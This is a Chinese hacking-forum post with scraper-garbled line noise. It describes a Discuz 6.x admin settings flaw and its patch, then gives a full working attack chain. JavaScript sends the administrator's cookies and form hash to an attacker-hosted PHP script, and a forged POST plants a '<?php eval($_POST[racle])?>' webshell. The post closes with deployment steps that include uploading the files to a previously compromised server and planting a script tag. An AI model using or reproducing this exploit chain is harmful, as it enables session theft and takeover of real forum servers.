Discuz XSS得webshell# @4 B5 @5 F4 ]0 j9 U( E
By racle @tian6.com
' M& x6 I6 K: e- P- F欢迎转帖.但请保留版权信息.
# h7 `7 ^: X Y1 u- T# D受影响版本 iscuz<=6.1.0,gbk+utf+big5
. i- U: M( E4 k* D. L# c$ y8 k0 ]. Y9 T4 ]. [+ m
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
/ D* d& e, y8 p% J0 B+ X1 L
- A$ q, A$ Y( f4 H) y4 E7 y" \7 W6 ^7 d9 T( {$ a
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87062 }: H+ w+ r4 Y) a7 `$ d
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.0 D5 z0 Q; z: {) ?
# @* f8 l A2 M- S
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..) @1 T& I4 d: ]4 `
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS& K, Q; s. {; F
4 |- q) C6 T( @
+ s' \" v1 J K# Y7 i; j; h" w----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------) p8 t- Y' T, u" n R# S/ z
6 Z% G) s: q' s5 B( s9 [+ K$ S8 j* m1 E1 c3 }0 t
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.9 G* }( i' c; b4 o* I
: Z5 L8 L$ y5 i) T# s' q: j+ kproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.$ ]6 |) n. g& e1 l
0 L/ V; u! I$ f: {7 {* c. W1 [problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的." l( w/ ] Y( V+ x
1 M4 ` Z" l$ c9 I% _
! {. S e+ j7 k! e2 I5 n
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {1 J; v, m% }7 R+ y
. [$ E8 m' H, w, T1 d: a6 o5 Z& i global $runwizardfile, $runwizardhistory;. e5 D p8 t+ S4 t, S$ E) T/ R
, [$ R, o/ [8 s1 D l( s $fp = fopen($runwizardfile, 'w');* s2 q0 G6 z1 s2 B
/ F. r0 J4 w" Q6 U1 t( t fwrite($fp, serialize($runwizardhistory));+ s" d2 t* B( _& j1 [" s* F
% P! g3 E( r" c5 O/ b+ `) n
fclose($fp);
! J3 G7 z9 I, ~2 u8 h: D( R0 \0 e8 L, r9 r* Y% O$ B' m; b
}# a/ ~; Y/ l' D: H# y7 J& K3 H
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
4 P' l) @1 ~. f2 z" U/ h; ~以下是修补的办法:function saverunwizardhistory() {$ Z5 x2 D# V$ n
5 }2 G: v* k# l5 T
global $runwizardfile, $runwizardhistory;
/ L3 j z6 k, w8 m9 S% j( ?+ p9 W( N) [9 ]! r
$fp = fopen($runwizardfile, 'w');/ _$ k6 ~% @ E* ?& ^ }
6 d+ V& z% z* @" a, L
$s = '<?php exit;?>';& F: G9 K& @; c! Z1 Z3 F6 [
. n! g4 D# r7 z( e- ~- C7 M $s .= serialize($runwizardhistory);+ U, M; H% z, ?6 g- e
' c' L c* r& T$ F
fwrite($fp, $s);% m' d. b( C$ @' |$ N. }7 D0 `
- r. T j% \& a7 T2 W* j+ O' |, _6 }# \
fclose($fp);. C3 k$ i" J& q6 \
( f9 i8 p- s$ T* r. X
}; v! u d6 r4 |. V( ?
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.& O9 e6 H; W* l+ s. s4 S
0 e( Z) J: i2 w
u7 i/ I8 _+ c! r- Z, Q
5 L/ w3 U( ~' O$ U+ O1 n4 P( E----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
2 i0 |5 ~1 x2 k7 |" x: J; X( v5 g. C% x1 j% T0 A
! S- \% }6 H9 p, }! w/ x 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了. j* o! o7 o# w+ i* c7 z' X
# ]% [9 b1 }7 r' B. R/ j9 E, y) _6 y我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
# c$ R+ o5 W) [+ j+ B0 X
# Z; k+ d+ ? F) ?. T$ U5 U这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
; q3 A$ u4 ^* m N D$ r5 c" k0 C0 H/ v6 C& \
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:& t. c, n6 E, Z7 K' f, \" ^* K
& M* m5 O2 ~& \- l& W* Qvar url="http://目标网站/admincp.php";
) J- y. g' ?1 Z; D8 T9 A1 l
# j: f1 _- q/ B4 l7 }+ C. Q/*获得cookies*/
9 b' j' U T7 n5 j2 S
" q) C6 [8 t4 dfunction getURL(s) {
$ X; q3 R( j4 a$ S' c8 t, m, G" O6 ]( {3 m5 u
var image = new Image();
2 U% }7 T; B6 A* ]# s! r+ P4 e/ W, t& j9 O+ S( r) F
image.style.width = 0;$ X$ ]! W$ l, d
) O8 I7 c! D: v1 A) O% b$ p
image.style.height = 0;
) l( s' N, e& E, }( C% W: z# t0 O! j6 a7 a. b
image.src = s;
9 [4 y# H& ^* k& L- ~1 B! Q8 Z: R3 ?6 U+ v1 T0 n
}, ^& @8 y5 [& H9 h; W+ g$ M+ z
2 R6 W6 H" d# ~; n5 agetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php# M ?, Y' t7 ]7 d, u) H a3 W
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];; x* ?' t Y& o( G# h8 F) I: A
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
4 K5 y$ T9 ^. b- }5 F4 {! e8 b# l( e
8 S( \4 b* J5 p
% m9 a$ h& G) `2 m2 p/ M获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
% Y) l/ h" a& m, Q; {' I( d
2 k/ z6 x$ Q: ^4 [5 ^* {* S
3 p9 Z1 C- L% \2 f) r: q
; l+ \- F( {( V( @. u) K% W/*hash*/
+ F9 Z4 e" W( \$ ]; C7 ~- {
3 E& H6 d+ u: I. \% o! k+ tvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
+ U; Y# C1 Y/ b3 [* a) o! j; Z/ z1 y* c( m" n" e
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);, f2 f* |7 p' w- L) j- w
) n+ i K9 k$ x/ t/ B, _! Q# e
xmlHttpReq.send();" i, r. ?! |" m+ ^
2 M: I0 a ~# W3 Yvar resource = xmlHttpReq.responseText;4 `3 k) k+ s; g5 Z# E
/ V! g7 O0 N3 L. d+ Q! O pvar numero = resource.search(/formhash/);+ C: C! h1 @9 Q5 A. g9 N5 z9 f. H
2 V9 P. K0 u8 o" o/ m; Zvar formhash=encodeURIComponent(resource.substr(numero+17,8));
. h+ W# T" f- x# W( D4 U" |
* H3 o1 V! _6 d% ?: |9 _* B! M: b, w- ~/ S& ^( F! G; A
L1 }; p5 ^: p* O$ L$ M% w
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 - b% x% c2 }6 y
1 J" I6 R4 m3 X M% Z2 V7 b3 `xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
8 B# n9 J- `: h1 x: p2 q
+ n- o$ s- k! p$ I8 G" I2 @xmlHttpReq.setRequestHeader("Referer", url);
& Z/ l) D9 |7 O+ j6 D2 {7 J' G
- F, t8 ^- l% }% oxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");0 C) ?7 d) ^" K
+ A% D& M3 h( y9 H! f! txmlHttpReq.setrequestheader("content-length",post.length);
) L) p) @. S- {5 ~
0 t4 o1 g' \6 D* cxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 7 u) D$ C" T. i/ V: O' v
+ U% }3 u8 v! j! N' N, h) uxmlHttpReq.send(post);//发送数据
! m2 C- _2 t* h' y, ]% R复制代码这里HASH我假设正确,这样提交,也无须cookies2 S3 K" h1 M g* K1 {5 X. {
7 s. T0 ?: \- v, B再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30); T: v9 x j3 g, q* Q
; b! J/ R0 E9 W) Z4 Y' O5 ~! T2 kif (!$sock) die("$errstr ($errno)\n");, \. u4 w4 @& ]# ?) A+ i+ G. {
* t. w5 d! [- o# v8 u$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';. e9 b3 I: _. T
" E1 q6 F! J: a: G
# q1 s7 F" U6 A7 `- D( a: V
6 V+ m. h6 c7 H# W) }) ?9 c: |0 {, g" afwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");# O4 f- W# i: m/ s
$ W5 r8 x+ ]1 b P7 \. ?9 D6 |
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");/ f2 e9 N6 c6 Z# ]5 b# M
7 C* A# u$ L, p+ e- f6 ]! W
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");: i2 o) f# ` p* `1 o8 M
1 v/ n: G! U" z$ Z& s/ n4 zfwrite($sock, "Accept-Language: zh-cn\r\n");
4 l6 E- x! ]& T! e
3 Z4 W$ {7 d& m$ u. N7 k& Efwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");, z: v7 N" i+ {! D4 G
: K0 [8 N$ m0 } b
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
8 T( H' i) Y& R+ q) n. {* b
2 ?$ C9 h' ?# b: `fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
5 d- s+ B! E6 Y: Y7 o
+ b2 Y: b, d8 m9 ^& P2 R+ mfwrite($sock, "Host: $url\r\n");
9 Z7 {% l$ P: x4 x5 B# K, M
$ N# A# m* N) I' g& wfwrite($sock, "Content-Length: ".strlen($data)."\r\n");# {- O$ N# X1 r: M- z: x# e' b) I
# f2 d+ A( q6 s5 M+ |- Z2 ]9 A1 E0 Mfwrite($sock, "Connection: Keep-Alive\r\n");1 P1 T7 X3 ]+ A" R- y4 y2 L. E
# {! g- b2 ^& }2 N
fwrite($sock, "Cache-Control: no-cache\r\n");
( O/ J [& a( M' _4 g- ^) e- ?
& n. @: g7 ^& T1 e2 bfwrite($sock, "Cookie:".$cookies."\r\n\r\n");9 U& s- G4 z1 ~+ D( l
B4 |" V1 T, I9 E
fwrite($sock, $data);
# }( z# Q- y! o7 p5 X! L# Y5 X
0 E- p9 [0 `8 a$ n
0 _% F8 K& S: z' S) X+ R
+ \; c+ _$ Y$ l' p$headers = "";
& N: C) ]% K" }# A t; { t4 l
: ~/ K; f4 v1 r. a% Y+ i& Ywhile ($str = trim(fgets($sock, 4096)))+ @4 W- s/ H1 J, @7 e4 Q4 |
6 O9 {9 }+ W9 l: M, M6 h! t7 N
$headers .= "$str\n";
' h# @+ I6 N% }/ N. |/ V: Z# l( o6 a3 i0 _, \+ G$ |
echo "\n";
2 m+ E/ y7 H( R6 F# ~1 i! [3 b" p8 e$ W/ f' V8 a T/ m" h
$body = "";
' |) H" O( F3 j2 H
, `- u/ y3 Z1 A* W( o" Y* W" {while (!feof($sock))
. d! C4 ^; `5 f* g5 H6 }6 V
, e5 S9 g2 P. n$ Z c3 F $body .= fgets($sock, 4096);
/ a: ]7 A7 ~8 ?8 Y6 H/ ~' t/ X8 d3 F' I9 g# W
fclose($sock);* Q; e( @: t# v! {
) U* m# N" i2 i* g* C( `echo $body;4 x T2 M' L0 c4 n! j
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
. V2 Z- c- B) i* s' P z5 @* ~4 N$ N1 [; ]
. l* o* i3 p2 l" n
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------+ O2 X5 X* X( t& m5 `9 Q
" @1 ]! Y; C7 ]1 l9 v
2 k) G+ q3 G+ E7 d- S& B1 HP SOCKET利用方法首先打开racle.js3 L3 f' c a4 _1 g) i, N8 i6 k
$ m$ S0 ?+ d5 S
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
, E/ p0 O2 _3 i* @0 ?
+ C! H c, f. G n2 B' A9 V, D" Z8 {" w! e- c( [3 q# v0 o8 v
9 K4 y0 Z' ]+ ^" n# O4 M然后打开racle@tian6.php
- R, C4 c# s9 `% X1 z8 |
0 ?1 c$ X" w% }& R0 M$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
- N P% @% F' b$ y0 g1 d
! Y3 O7 M5 {3 K( Q9 h3 w
% z8 b- i( _+ I# @- Y) {( ~) a7 x9 X8 ?( }/ L
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:& B E/ c. l+ I5 T4 y
0 p" u, v1 Q5 g1 @1 }: ggetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
! g) ^) ~ U6 t: g, n6 W$ ]: N' Z. ~" a" |9 R% z% v; O
为! B! h& Y# W& L% {
# w" }' e( o; p: V5 i$ a# pgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));1 P6 T1 _# U5 E
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
2 Z- g& `) W$ }7 S5 q( G
& |, X1 N/ E" _4 U, N" F
/ M) w. {4 Q$ H6 n! r) \
) u/ Q0 V& @) L7 N1 l8 E3 L0 V如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
6 N, M7 S7 F* h. _5 Q
* \2 U( D* l" G5 z# @% h4 X6 u8 Hvar formhash=encodeURIComponent(resource.substr(numero+17,8));
& \2 [- M6 w# ?
9 W; x' l- ?4 Q2 p& m为
: [- t9 N3 x& _( N" ~- b0 o6 m+ G9 @" }# O
var formhash=encodeURIComponent(resource.substr(numero+9,8));+ T; w& h- V6 Q6 k) R5 I
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧." `' a/ r* `. U* r
2 t( n: Y, [: H& C+ C& `3 A/ ^) t4 b
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
4 |: A* C3 E* K7 f, y. f- ?8 Q1 ]- Q
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
4 O2 T8 s, U' v& S( Y* H3 u$ b
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
' y3 n' W M" ^: ] 3 K0 @/ A# x" Z+ U: ?
|